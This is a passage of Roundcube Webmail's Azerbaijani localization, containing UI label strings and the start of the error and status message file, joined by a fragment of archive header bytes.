$labels['fri'] = 'Ca';
$labels['sat'] = 'Ş';
$labels['sunday'] = 'Bazar';
$labels['monday'] = 'Bazar ertəsi';
$labels['tuesday'] = 'Çərçənbə';
$labels['wednesday'] = 'Çərşənbə axşamı';
$labels['thursday'] = 'Cümə';
$labels['friday'] = 'Cümə axşamı';
$labels['saturday'] = 'Şənbə';
$labels['jan'] = 'Yan';
$labels['feb'] = 'Fev';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'May';
$labels['jun'] = 'İyn';
$labels['jul'] = 'İyl';
$labels['aug'] = 'Avq';
$labels['sep'] = 'Sen';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Noy';
$labels['dec'] = 'Dek';
$labels['longjan'] = 'Yanvar';
$labels['longfeb'] = 'Fevral';
$labels['longmar'] = 'Mart';
$labels['longapr'] = 'Aprel';
$labels['longmay'] = 'May';
$labels['longjun'] = 'İyun';
$labels['longjul'] = 'İyul';
$labels['longaug'] = 'Avqust';
$labels['longsep'] = 'Sentyabr';
$labels['longoct'] = 'Oktyabr';
$labels['longnov'] = 'Noyabr';
$labels['longdec'] = 'Dekabr';
$labels['today'] = 'Bu gün';
$labels['refresh'] = 'Yenilə';
$labels['checkmail'] = 'Gələnləri yoxla';
$labels['compose'] = 'Məktub yaz';
$labels['writenewmessage'] = 'Yeni məktub';
$labels['reply'] = 'Cavabla';
$labels['replytomessage'] = 'Göndərənə cavabla';
$labels['replytoallmessage'] = 'Hamıya cavabla';
$labels['replyall'] = 'Hamıya cavab';
$labels['replylist'] = 'Cavab siyahısı';
$labels['forward'] = 'Ötür';
$labels['forwardinline'] = 'Məktubda ötür';
$labels['forwardattachment'] = 'Əlavə kimi ötür';
$labels['forwardmessage'] = 'Yönəlt';
$labels['deletemessage'] = 'Sil';
$labels['movemessagetotrash'] = 'Məktubu səbətə köçür';
$labels['printmessage'] = 'Çap et';
$labels['previousmessage'] = 'Əvvəlki məktubu göstər';
$labels['firstmessage'] = 'Birinci məktubu göstər';
$labels['nextmessage'] = 'Sonrakı məktubu göstər';
$labels['lastmessage'] = 'Sonuncu məktubu göstər';
$labels['backtolist'] = 'Məktublar siyahısına qayıt';
$labels['viewsource'] = 'Mənbəni göstər';
$labels['mark'] = 'İşarələ';
$labels['markmessages'] = 'Məktubları işarələ';
$labels['markread'] = 'Oxunmuş';
$labels['markunread'] = 'Oxunmamış';
$labels['markflagged'] = 'Qeyd et';
$labels['markunflagged'] = 'Qeydi çıxar';
$labels['moreactions'] = 'Daha çox seçim...';
$labels['folders-all'] = 'Bütün qovluqlar';
$labels['more'] = 'Daha çox';
$labels['back'] = 'Geri';
$labels['options'] = 'Ayarlar';
$labels['first'] = 'İlk';
$labels['last'] = 'Son';
$labels['previous'] = 'Əvvəlki';
$labels['next'] = 'Sonrakı';
$labels['select'] = 'Seçin';
$labels['all'] = 'Hamısı';
$labels['none'] = 'Heç biri';
$labels['currpage'] = 'Hazırki səhifəni';
$labels['isread'] = 'Oxu';
$labels['unread'] = 'Oxunmamışları';
$labels['flagged'] = 'İşarəliləri';
$labels['unflagged'] = 'İşarətlənməyib';
$labels['unanswered'] = 'Cavabsızları';
$labels['withattachment'] = 'Qoşma ilə';
$labels['deleted'] = 'Silinmişləri';
$labels['undeleted'] = 'Silinməyib';
$labels['replied'] = 'Cavablanıb';
$labels['forwarded'] = 'Yönləndirilib';
$labels['invert'] = 'İnvertliləri';
$labels['filter'] = 'Süzgəc';
$labels['list'] = 'Siyahı';
$labels['threads'] = 'Müzakirələr';
$labels['expand-all'] = 'Hamısını aç';
$labels['expand-unread'] = 'Oxunmamışları aç';
$labels['collapse-all'] = 'Hamısını bük';
$labels['threaded'] = 'Müzakirə';
$labels['autoexpand_threads'] = 'Müzakirəni aç';
$labels['do_expand'] = 'bütün müzakirələr';
$labels['expand_only_unread'] = 'yalnız oxunmamış məktublarla';
$labels['fromto'] = 'Göndərən/Qəbul edən';
$labels['flag'] = 'Bayrağ';
$labels['attachment'] = 'Əlavə';
$labels['nonesort'] = 'Heç biri';
$labels['sentdate'] = 'Göndərilmə tarixi';
$labels['arrival'] = 'Çatdırılma tarixi';
$labels['asc'] = 'Çoxalan';
$labels['desc'] = 'Azalan';
$labels['listcolumns'] = 'Sütunlar';
$labels['listsorting'] = 'Sütunları çeşidlə';
$labels['listorder'] = 'Çeşidləmə qaydası';
$labels['listmode'] = 'Görünüş rejimi';
$labels['layoutlist'] = 'Siyahı';
$labels['folderactions'] = 'Qovluq işləri...';
$labels['compact'] = 'Sıx';
$labels['empty'] = 'Boşalt';
$labels['importmessages'] = 'Mesajların idxalı';
$labels['quota'] = 'Disk istifadəsi';
$labels['unknown'] = 'naməlum';
$labels['unlimited'] = 'limitsiz';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'İşlədilib';
$labels['quotastorage'] = 'Disk həcmi';
$labels['quotamessage'] = 'Mesaj sayı';
$labels['quicksearch'] = 'Sürətli axtarış';
$labels['resetsearch'] = 'Axtarışı yenilə';
$labels['searchmod'] = 'Axtarış variantları';
$labels['msgtext'] = 'Bütün məktub';
$labels['body'] = 'Mətn';
$labels['type'] = 'Növ';
$labels['namex'] = 'Ad';
$labels['currentfolder'] = 'Hazırki qovluq';
$labels['subfolders'] = 'Bu və alt qovluqlar';
$labels['allfolders'] = 'Bütün qovluqlar';
$labels['searchinterval-1W'] = 'bir həftədən köhnə';
$labels['searchinterval-1M'] = 'bir aydan əvvəl';
$labels['searchinterval-1Y'] = 'bir ildən əvvəl';
$labels['searchinterval1W'] = 'bir həftədən cavan';
$labels['searchinterval1M'] = 'bir aydan cavan';
$labels['searchinterval1Y'] = 'bir ildən cavan';
$labels['openinextwin'] = 'Yeni pəncərədə aç';
$labels['emlsave'] = 'Saxla (.eml)';
$labels['changeformattext'] = 'Sadə mətn formatında göstər';
$labels['changeformathtml'] = 'HTML formatında göstər';
$labels['editasnew'] = 'Yeni kimi redaktə et';
$labels['send'] = 'Göndər';
$labels['sendmessage'] = 'İndi göndər';
$labels['savemessage'] = 'Qaralama saxla';
$labels['addattachment'] = 'Fayl əlavə et';
$labels['charset'] = 'Kodlaşdırma';
$labels['editortype'] = 'Redaktor';
$labels['returnreceipt'] = 'Cavab sorğusu';
$labels['dsn'] = 'Çatdırılma statusu haqda bildiriş';
$labels['mailreplyintro'] = '$date tarixdə, $sender yazıb:';
$labels['originalmessage'] = 'Orijinal məktub';
$labels['selectimage'] = 'Şəkli seç';
$labels['addimage'] = 'Şəkil əlavə et';
$labels['encrypt'] = 'Şifrələ';
$labels['encryptmessage'] = 'Mesajı şifrələ';
$labels['importpubkeys'] = 'İctimai açarları idxal et';
$labels['encryptedsendialog'] = 'Şifrəli mesaj göndərilir';
$labels['keyid'] = 'Açar ID';
$labels['keyexpired'] = 'Vaxtı keçib';
$labels['insert'] = 'Yerləşdir';
$labels['recipient'] = 'Qəbul edən';
$labels['editidents'] = 'İdentifikasiyanı dəyiş';
$labels['spellcheck'] = 'Orfoqrafiya';
$labels['checkspelling'] = 'Orfoqrafiyanı yoxla';
$labels['resumeediting'] = 'Redaktəni davam et';
$labels['revertto'] = 'Dəyişiklikləri ləğv et';
$labels['restore'] = 'Bərpa';
$labels['restoremessage'] = 'Məktub bərpa edilsin?';
$labels['responses'] = 'Cavablar';
$labels['insertresponse'] = 'Cavab daxil et';
$labels['manageresponses'] = 'Cavabların idarə edilməsi';
$labels['newresponse'] = 'Yeni cavab yarat';
$labels['addresponse'] = 'Cavab əlavə et';
$labels['editresponse'] = 'Cavabı redaktə et';
$labels['editresponses'] = 'Cavabları redaktə et';
$labels['responsename'] = 'Ad';
$labels['responsetext'] = 'Cavab mətni';
$labels['attach'] = 'Fayl əlavə et';
$labels['attachments'] = 'Bərkidilmiş Fayllar';
$labels['upload'] = 'Yüklə';
$labels['close'] = 'Bağla';
$labels['messageoptions'] = 'Məktub xüsusiyyətləri...';
$labels['low'] = 'Alçaq';
$labels['lowest'] = 'Çox alçaq';
$labels['normal'] = 'Normal';
$labels['high'] = 'Yüksək';
$labels['highest'] = 'Çox yüksək';
$labels['nosubject'] = '(mövzu yoxdur)';
$labels['showimages'] = 'Şəkilləri göstər';
$labels['alwaysshow'] = '$sender-dən olan məktublarda həmişə şəkilləri göstər';
$labels['isdraft'] = 'Bu qaralama məktubudur.';
$labels['andnmore'] = 'Daha çox $nr more...';
$labels['togglemoreheaders'] = 'Daha çox məktub';
$labels['togglefullheaders'] = 'Məktubun çiy başlıqlarını keçir';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Mətn';
$labels['savesentmessagein'] = 'Məktubu saxla...';
$labels['dontsave'] = 'saxlama';
$labels['maxuploadsize'] = 'Faylın maksimal ölçüsü: $size';
$labels['addcc'] = 'Kopya əlavə et';
$labels['addbcc'] = 'Gizli kopya əlavə et';
$labels['addreplyto'] = 'Yönəltmə əlavə et';
$labels['addfollowupto'] = '"İzlə" əlavə et';
$labels['mdnrequest'] = 'Məktubu göndərən onu oxuduğunuz haqda sorğu almaq istəyir. Göndərilsin?';
$labels['receiptread'] = 'Oxunulma haqda soğru';
$labels['yourmessage'] = 'Bu məktubunuzun oxunulduğu haqda sorğudur';
$labels['receiptnote'] = 'Bu sorğu yalnız qəbul edilən tərəfindən məktubun açıldığına göstərir. Onun oxunulduğuna zəmanət vermir.';
$labels['name'] = 'Göstərilən ad';
$labels['firstname'] = 'Adı';
$labels['surname'] = 'Soyadı';
$labels['middlename'] = 'Orta adı';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Suffiks';
$labels['nickname'] = 'Ləqəb';
$labels['jobtitle'] = 'Vəzifə';
$labels['department'] = 'Departament';
$labels['gender'] = 'Cins';
$labels['maidenname'] = 'Qız adı';
$labels['email'] = 'E-Poçt';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Ünvan';
$labels['street'] = 'Küçə';
$labels['locality'] = 'Şəhər';
$labels['zipcode'] = 'ZIP kod';
$labels['region'] = 'Region';
$labels['country'] = 'Ölkə';
$labels['birthday'] = 'Ad günü';
$labels['anniversary'] = 'İldönümü';
$labels['website'] = 'Vebsayt';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Qeydlər';
$labels['male'] = 'kişi';
$labels['female'] = 'qadın';
$labels['manager'] = 'Menecer';
$labels['assistant'] = 'Köməkçi';
$labels['spouse'] = 'Ər-arvad';
$labels['allfields'] = 'Bütün sahələr';
$labels['search'] = 'Axtar';
$labels['searchresult'] = 'Axtarış nəticəsi';
$labels['advsearch'] = 'Ətraflı axtarış';
$labels['advanced'] = 'Əlavə';
$labels['other'] = 'Başqa';
$labels['typehome'] = 'Ev';
$labels['typework'] = 'İş';
$labels['typeother'] = 'Başqa';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Əsas';
$labels['typehomefax'] = 'Ev faksı';
$labels['typeworkfax'] = 'İş faksı';
$labels['typecar'] = 'Maşın';
$labels['typepager'] = 'Peycer';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Köməkçi';
$labels['typehomepage'] = 'Ana səhifə';
$labels['typeblog'] = 'Bloq';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Sahə əlavə et';
$labels['addcontact'] = 'Əlaqə əlavə et';
$labels['editcontact'] = 'Ünvanı redaktə et';
$labels['contacts'] = 'Əlaqələr';
$labels['contactproperties'] = 'Kontakt xüsusiyyətləri';
$labels['personalinfo'] = 'Şəxsi məlumat';
$labels['personal'] = 'Şəxsi';
$labels['edit'] = 'Redaktə et';
$labels['cancel'] = 'Ləğv et';
$labels['save'] = 'Saxla';
$labels['delete'] = 'Sil';
$labels['rename'] = 'Adlandır';
$labels['addphoto'] = 'Əlavə et';
$labels['replacephoto'] = 'Adı dəyiş';
$labels['uploadphoto'] = 'Şəkil yüklə';
$labels['deletecontact'] = 'Seçilmiş ünvanları sil';
$labels['composeto'] = 'Seçilmiş ünvanlara məktub yaz';
$labels['contactsfromto'] = '$count ünvanının $from - $to arası';
$labels['print'] = 'Çap et';
$labels['export'] = 'İxrac et';
$labels['exportall'] = 'Hamısını İxrac et';
$labels['exportsel'] = 'Seçilmişləri İxrac et';
$labels['exportvcards'] = 'Ünvanları vCards formatında ixrac et';
$labels['addgroup'] = 'Qrup əlavə et';
$labels['grouprename'] = 'Qruğun adını dəyişdir';
$labels['groupdelete'] = 'Qrupu sil';
$labels['groupremoveselected'] = 'Qrupdan seçilmiş kontaktları sil';
$labels['previouspage'] = 'Əvvəlkini göstər';
$labels['firstpage'] = 'Birincini göstər';
$labels['nextpage'] = 'Sonrakını göstər';
$labels['lastpage'] = 'Sonuncunu göstər';
$labels['group'] = 'Qrup';
$labels['groups'] = 'Qruplar';
$labels['listgroup'] = 'Qrup üzvlərinin siyahısı';
$labels['personaladrbook'] = 'Şəxsi ünvanlar';
$labels['searchsave'] = 'Sorğunu saxla';
$labels['searchdelete'] = 'Sorğunu sil';
$labels['import'] = 'İdxal';
$labels['importcontacts'] = 'Ünvanların idxalı';
$labels['importtarget'] = 'Kontaktları əlavə et';
$labels['importreplace'] = 'Ünvan kitabçasını dəyiş';
$labels['importgroups'] = 'Qrup idxalı tapşırığı';
$labels['importgroupsall'] = 'Hamısı (əgər lazımdırsa qrupun yaradılması)';
$labels['importgroupsexisting'] = 'Yalnız mövcud qruplar üçün';
$labels['done'] = 'Bitdi';
$labels['settingsfor'] = 'Nizamlamaları';
$labels['about'] = 'Haqqında';
$labels['preferences'] = 'Nizamlamalar';
$labels['userpreferences'] = 'İstifadəçi nizamlamaları';
$labels['editpreferences'] = 'İstifadəçi nizamlamalarını redaktə et';
$labels['identities'] = 'Kimliklər';
$labels['preferhtml'] = 'HTML-də göstər';
$labels['defaultcharset'] = 'İlkin vəziyyətdəki kodlaşdırma';
$labels['htmlmessage'] = 'HTML məktub';
$labels['messagepart'] = 'Hissə';
$labels['digitalsig'] = 'Rəqəmsal imza';
$labels['dateformat'] = 'Tarix formatı';
$labels['timeformat'] = 'Vaxt formatı';
$labels['prettydate'] = 'Qəşəng tarixlər';
$labels['setdefault'] = 'İlkin vəziyyətə qaytar';
$labels['autodetect'] = 'Avto';
$labels['language'] = 'Dil';
$labels['timezone'] = 'Saat qurşağı';
$labels['pagesize'] = 'Səhifədə sətrlər';
$labels['signature'] = 'İmza';
$labels['dstactive'] = 'Yay vaxtı';
$labels['showinextwin'] = 'Məktubu yeni pəncərədə aç';
$labels['composeextwin'] = 'Yeni pəncərədə yarat';
$labels['htmleditor'] = 'HTML-də mesaj yaz';
$labels['htmlonreply'] = 'yalnız HTML mesajlar ilə cavab';
$labels['htmlonreplyandforward'] = 'HTML məktuba cavab və yönəltmə zamanı';
$labels['htmlsignature'] = 'HTML imza';
$labels['showemail'] = 'E-poçt ünvanları displey adları ilə göstər';
$labels['previewpane'] = 'Prevyu paneli göstər';
$labels['skin'] = 'İnterfeys stili';
$labels['logoutclear'] = 'Poçtdan çıxan zaman səbəti təmizlə';
$labels['logoutcompact'] = 'Poçtdan çıxan zaman gələnləri sıx';
$labels['uisettings'] = 'İstifadəçi interfeysi';
$labels['serversettings'] = 'Server nizamlamaları';
$labels['mailboxview'] = 'Poçt qutusunun görünüşü';
$labels['mdnrequests'] = 'Göndərilmə bildirişi';
$labels['askuser'] = 'göndərilmə zamanı istifadəçidən soruş';
$labels['autosend'] = 'avtomatik göndər';
$labels['autosendknown'] = 'kontaktlarıma qəbz yolla. Əks halda soruş';
$labels['autosendknownignore'] = 'kontaktlarıma qəbz yolla. Əks halda iqnor et';
$labels['readwhendeleted'] = 'Məktubu siləndə oxunmuş kimi qeyd et';
$labels['flagfordeletion'] = 'Silmə əvəzi silinmə işarəsilə qeyd et';
$labels['skipdeleted'] = 'Silinmiş məktubları göstərmə';
$labels['deletealways'] = 'Məktubu səbətə köçürmək alınmırsa, silinsin';
$labels['deletejunk'] = 'SPAM-dakı məktubları səbətə yollamadan sil';
$labels['showremoteimages'] = 'Silinmiç şəkilləri göstər';
$labels['fromknownsenders'] = 'məlum göndərənlərdən';
$labels['always'] = 'hər zaman';
$labels['showinlineimages'] = 'Əlavə olunmuş şəkili məktubun aşağısında göstər';
$labels['autosavedraft'] = 'Qaralamanı avtomatik saxla';
$labels['everynminutes'] = 'hər $n dəqiqə(lər)';
$labels['refreshinterval'] = 'Yenilə (yeni məktubları yoxla v.s.)';
$labels['never'] = 'heç vaxt';
$labels['immediately'] = 'dərhal';
$labels['messagesdisplaying'] = 'Məktubların göstərilməsi';
$labels['messagescomposition'] = 'Məktubların yazılması';
$labels['mimeparamfolding'] = 'Bərkidilənlərin adları';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (başqa)';
$labels['force7bit'] = '8-bitli simvollar üçün MIME istifadə et';
$labels['advancedoptions'] = 'Ətraflı nizamlama';
$labels['focusonnewmessage'] = 'Yeni məktub zamanı brauzerin pəncərəsini fokusla';
$labels['checkallfolders'] = 'Bütün qovluqlarda yeni məktubları yoxla';
$labels['defaultfont'] = 'HTML məktubun default şrifti';
$labels['mainoptions'] = 'Əsas nizamlamalar';
$labels['browseroptions'] = 'Brauzer ayarları';
$labels['section'] = 'Bölmə';
$labels['maintenance'] = 'Xidmət';
$labels['newmessage'] = 'Yeni məktub';
$labels['signatureoptions'] = 'İmzanın nizamlamaları';
$labels['whenreplying'] = 'Cavab zamanı';
$labels['replyempty'] = 'orijinal məktubu sitat gətirmə';
$labels['replytopposting'] = 'orijinaldan əvvəl yeni məktub yaz';
$labels['replybottomposting'] = 'orijinaldan sonra yeni məktub yaz';
$labels['replyremovesignature'] = 'Cavab zamanı imzanı sil';
$labels['autoaddsignature'] = 'İmzanı avtomatik əlavə et';
$labels['newmessageonly'] = 'yalnız yeni məktublarda';
$labels['replyandforwardonly'] = 'Yalnız cavab və yönəldilənlərdə';
$labels['insertsignature'] = 'İmza əlavə et';
$labels['afternseconds'] = '$n saniyədən sonra';
$labels['reqmdn'] = 'Hər zaman çatdırılma bildirişini istə';
$labels['reqdsn'] = 'Hər zaman çatıdrılma haqda statusu istə';
$labels['replysamefolder'] = 'Cavab mesajları üçün saxlanılan yer';
$labels['defaultabook'] = 'Öz qurğulu ünvan kitabçası';
$labels['autocompletesingle'] = 'Avtobitmədə əlavə ünvanları burax';
$labels['listnamedisplay'] = 'Kontaklar siyahısı bu cür göstər';
$labels['spellcheckbeforesend'] = 'Göndərməzdən əvvəl orfoqrafiyanı yoxla';
$labels['spellcheckoptions'] = 'Orfoqrafiya yoxlanışının ayarları';
$labels['spellcheckignoresyms'] = 'Simvollar ilə sözləri burax';
$labels['spellcheckignorenums'] = 'Rəqəmlər ilə sözləri keç';
$labels['spellcheckignorecaps'] = 'Böyük hərfləri olan sözlərdən keç';
$labels['addtodict'] = 'Lüğətə əlavə et';
$labels['mailtoprotohandler'] = 'mailto: keçid üçün protokol qeyd et';
$labels['standardwindows'] = 'Handle popapsı standart pəncərələr kimi';
$labels['forwardmode'] = 'Məktubların yönəldilməsi';
$labels['inline'] = 'mətndə';
$labels['asattachment'] = 'fayl kimi';
$labels['replyallmode'] = '[Hamıya cavab] düyməsinin susmaya görə hərəkəti';
$labels['replyalldefault'] = 'hamıya cavab';
$labels['replyalllist'] = 'yalnız poçt siyahısına (əgər tapılıbsa) cavab ';
$labels['allmessages'] = 'bütün məktublar';
$labels['folder'] = 'Qovluq';
$labels['folders'] = 'Qovluqlar';
$labels['foldername'] = 'Qovluq adı';
$labels['subscribed'] = 'İmzalanıb';
$labels['messagecount'] = 'Məktublar';
$labels['create'] = 'Yarad';
$labels['createfolder'] = 'Yeni qovluq yarad';
$labels['managefolders'] = 'Qovluqlarla iş';
$labels['specialfolders'] = 'Xüsusi qovluqlar';
$labels['properties'] = 'Xüsusiyyətlər';
$labels['folderproperties'] = 'Qovluq xüsusiyyətləri';
$labels['parentfolder'] = 'Ana qovluq';
$labels['location'] = 'Yerləşmə';
$labels['info'] = 'Məlumat';
$labels['getfoldersize'] = 'Qovluq ölçüsünü öyrənmək üçün vur';
$labels['changesubscription'] = 'Abunəni dəyişmək üçün vurun';
$labels['foldertype'] = 'Qovluq növü';
$labels['personalfolder'] = 'Gizli qovluq';
$labels['otherfolder'] = 'Başqa istifadəçilərin qovluğu';
$labels['sharedfolder'] = 'İctimai qovluq';
$labels['findfolders'] = 'Qovluqları tap';
$labels['namespace.personal'] = 'Şəxsi';
$labels['namespace.shared'] = 'Paylaşılıb';
$labels['sortby'] = 'Çeşidlə';
$labels['sortasc'] = 'Azdan çoxa';
$labels['sortdesc'] = 'Çoxdan aza';
$labels['undo'] = 'Ləğv et';
$labels['installedplugins'] = 'Yazılmış qoşmalar';
$labels['plugin'] = 'Qoşma';
$labels['version'] = 'Versiya';
$labels['source'] = 'Mənbə';
$labels['license'] = 'Lisenziya';
$labels['support'] = 'Dəstək';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'İngilis dili';
$labels['westerneuropean'] = 'Qərbi Avropa';
$labels['easterneuropean'] = 'Şərqi Avropa';
$labels['southeasterneuropean'] = 'Cənub-Şərqi Avropa';
$labels['baltic'] = 'Baltik';
$labels['cyrillic'] = 'Kirillə';
$labels['arabic'] = 'Ərəbcə';
$labels['greek'] = 'Yunanca';
$labels['hebrew'] = 'Yəhudicə';
$labels['turkish'] = 'Türkcə';
$labels['nordic'] = 'Skandinav';
$labels['thai'] = 'Tayca';
$labels['celtic'] = 'Keltcə';
$labels['vietnamese'] = 'Vyetnamca';
$labels['japanese'] = 'Yaponca';
$labels['korean'] = 'Koreya';
$labels['chinese'] = 'Çincə';
PK
h�\:O�..'program/localization/az_AZ/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Xəta baş verdi!';
$messages['loginfailed']  = 'Giriş uğursuz oldu.';
$messages['cookiesdisabled'] = 'Sizin brauzer kukiləri qəbul etmir.';
$messages['sessionerror'] = 'Sizin sessiya köhnəlib.';
$messages['storageerror'] = 'IMAP serverlə bağlantı alınmadı.';
$messages['servererror'] = 'Server Xətası!';
$messages['servererrormsg'] = 'Server Xətası: $msg';
$messages['dberror'] = 'Məlumatlar Bazasında Xəta!';
$messages['requesttimedout'] = 'Sorğunun gözləmə müddəti bitdi';
$messages['errorreadonly'] = 'Əməliyyatı icra etmək mümkün deyil. Qovluq yalnız oxunuş üçündür.';
$messages['errornoperm'] = 'Əməliyyatı etmək mümkün deyil. Giriş qadağandır.';
$messages['erroroverquota'] = 'Əməliyyat icra edilə bilinmir. Boş disk həcmi yoxdur.';
$messages['erroroverquotadelete'] = 'Boş disk həcmi yoxdur. Məktubu silmək üçün SHIFT+DEL düyməsini istifadə edin.';
$messages['invalidrequest'] = 'Səhv sorğu! Məlumat yaddaşda qalmadı.';
$messages['invalidhost'] = 'Səhv server adı.';
$messages['nomessagesfound'] = 'Poçt qutusunda məktub tapılmadı.';
$messages['mailboxempty'] = 'Poçt boşdur';
$messages['nomessages'] = 'Məktub yoxdur';
$messages['refreshing'] = 'Yenilənmə...';
$messages['loading'] = 'Yüklənir...';
$messages['uploading'] = 'Fayl yüklənir...';
$messages['uploadingmany'] = 'Fayllar yüklənir...';
$messages['loadingdata'] = 'Məlumatlar yüklənir...';
$messages['checkingmail'] = 'Yeni məktubları yoxla...';
$messages['sendingmessage'] = 'Məktub göndərilir...';
$messages['messagesent'] = 'Məktub uğurla göndərildi';
$messages['savingmessage'] = 'Məktubu saxla...';
$messages['messagesaved'] = 'Məktub qaralamada saxlandı';
$messages['successfullysaved'] = 'Yaddaşa yazıldı';
$messages['savingresponse'] = 'Cavab mətninin saxlanılması...';
$messages['deleteresponseconfirm'] = 'Siz cavab mətnini silmək istəyirsiniz?';
$messages['addedsuccessfully'] = 'Əlaqə ünvan kitabçasına əlavə olundu';
$messages['contactnameexists'] = 'Bu adda kontakt artıq mövcuddur.';
$messages['blockedimages'] = 'Təhlükəsizlik məqsədi ilə şəkillərin yüklənməsi bloklanıb.';
$messages['encryptedmessage'] = 'Məktub şifrələnib və göstərilə bilməz. Server inzibatçısına müraciət edin.';
$messages['nocontactsfound'] = 'Ünvanlar tapılmadı';
$messages['contactnotfound'] = 'Tələb olunan ünvan tapılmadı';
$messages['sendingfailed'] = 'Məktub göndərilmədi';
$messages['senttooquickly'] = 'Məktub göndərmək üçün $sec saniyə gözləmək gərəkir';
$messages['errorsavingsent'] = 'Göndərilən məktubun saxlanılması zamanı xəta baş verdi.';
$messages['errorsaving'] = 'Saxlanılma zamanı xəta baş verdi.';
$messages['errormoving'] = 'Məktubu (məktubları) köçürmək alnmadı';
$messages['errorcopying'] = 'Məktubu (məktubları) kopyalamaq alınmadı';
$messages['errordeleting'] = 'Məktubu (məktubları) silmək alınmadı';
$messages['errormarking'] = 'Məktubu (məktubları) işarələmək mümkün deyil';
$messages['deletecontactconfirm']  = 'Seçilən ünvanı (ünvanları) silməyə əminsiniz?';
$messages['deletegroupconfirm']  = 'Qrupu silməkdə əminsiniz?';
$messages['deletemessagesconfirm'] = 'Seçilən məktubu (məktubları) silməyə əminsiniz?';
$messages['deletefolderconfirm']  = 'Bu qovluğu silməyə əminsiniz?';
$messages['purgefolderconfirm']  = 'Bu qovluqdakı bütün məktubları silməyə əminsiniz?';
$messages['contactdeleting'] = 'Kontak(lar)ın silinməsi...';
$messages['groupdeleting'] = 'Qrupun silinməsi...';
$messages['folderdeleting'] = 'Qovluğ silinir...';
$messages['foldermoving'] = 'Qovluq köçürülür...';
$messages['foldersubscribing'] = 'Qovluğa abunə...';
$messages['folderunsubscribing'] = 'Qovluğa abunədən çıx...';
$messages['formincomplete'] = 'Bütün sətrlər doldurulmayıb';
$messages['noemailwarning'] = 'Lütfən, düzgün e-poçt ünvanı daxil edin';
$messages['nonamewarning']  = 'Lütfən, ad daxil edin';
$messages['nopagesizewarning'] = 'Lütfən, səhifənin ölçüsünü daxil edin';
$messages['norecipientwarning'] = 'Lütfən, qəbul edənin ünvanını daxil edin';
$messages['nosubjectwarning']  = '"Mövzu" sahəsi boşdur. Mövzu daxil etmək istəyirsiniz?';
$messages['nobodywarning'] = 'Məktub boş göndərilsin?';
$messages['restoresavedcomposedata'] = 'Əvvəlki göndərildi, ancaq göndərilməyən məktub da tapıldı.\n\nSubject: $subject\nSaved: $date\n\nSiz bu məktubu bərpa etmək istəyirsiniz?';
$messages['nosearchname'] = 'Lütfən, ad və ya e-poçt əlavə edin';
$messages['notuploadedwarning'] = 'Əlavələr tam yüklənilməyib. Gözləyin və ya yükləməni ləğv edin.';
$messages['searchsuccessful'] = 'Tapılan məktublar: $nr';
$messages['contactsearchsuccessful'] = '$nr kontakt tapılıb.';
$messages['searchnomatch'] = 'Məktub tapılmadı';
$messages['searching'] = 'Axtarılır...';
$messages['checking'] = 'Yoxlanılır...';
$messages['nospellerrors'] = 'Orfoqrafik səhvlət tapılmadı';
$messages['folderdeleted'] = 'Qovluq uğurla silindi';
$messages['foldersubscribed'] = 'Qovluq uğurla abunə oldu';
$messages['folderunsubscribed'] = 'Qovluq uğurla abunədən çıxdı';
$messages['deletedsuccessfully'] = 'Silindi';
$messages['converting'] = 'Məktubun formatlaşması silinir...';
$messages['messageopenerror'] = 'Məktubu serverdən yükləmək alınmır';
$messages['fileuploaderror'] = 'Fayl yüklənilmədi';
$messages['filesizeerror'] = 'Yüklənilən fayl maksimal ölçüdən çoxdur - $size';
$messages['copysuccess'] = '$nr kontaktlar uğurlar kopyalanmışdır.';
$messages['movesuccess'] = '$nr kontaktlar uğurla köçürülmüşdür.';
$messages['copyerror'] = 'Heç bir kontaktı kopyalamaq olmur.';
$messages['moveerror'] = 'Heç bir kontaktı köçürmək alınmır.';
$messages['sourceisreadonly'] = 'Verilən ünvanlar mənbəyi yalnız oxunmaq üçün';
$messages['errorsavingcontact'] = 'Əlaqəni ünvanda saxlamaq mümkün deyil';
$messages['movingmessage'] = 'Məktub köçürülür...';
$messages['copyingmessage'] = 'Məktub kopyalanır...';
$messages['copyingcontact'] = 'Kontakt(lar)ın kopyalanması...';
$messages['movingcontact'] = 'Kontak(lar)ın köçürülməsi...';
$messages['deletingmessage'] = 'Məktub(lar) silinir...';
$messages['markingmessage'] = 'Məktub(lar) işarələnir...';
$messages['addingmember'] = 'Kontakt(lar)ın qrupa əlavə edilməsi...';
$messages['removingmember'] = 'Kontakt(lar)ın qrupdan silinməsi...';
$messages['receiptsent'] = 'Oxunulma haqda bildiriş göndərildi';
$messages['errorsendingreceipt'] = 'Oxunulma haqda bildiriş göndərilmədi';
$messages['deleteidentityconfirm'] = 'İdentifikasiyanı silməkdə əminsiniz?';
$messages['nodeletelastidentity'] = 'Siz bu kimliyi silə bilməzsiniz. Bu axırıncıdır.';
$messages['forbiddencharacter'] = 'Qovlu adı qadağan olunmuş simvollar təşkil edir';
$messages['selectimportfile'] = 'Yüklənilən faylı seçin';
$messages['addresswriterror'] = 'Seçilmiş ünvan kitabçası yaddaşa yazıla bilməz';
$messages['contactaddedtogroup'] = 'Ünvanlar qrupa əlavə edildi';
$messages['contactremovedfromgroup'] = 'Ünvanlar qrupdan silindi';
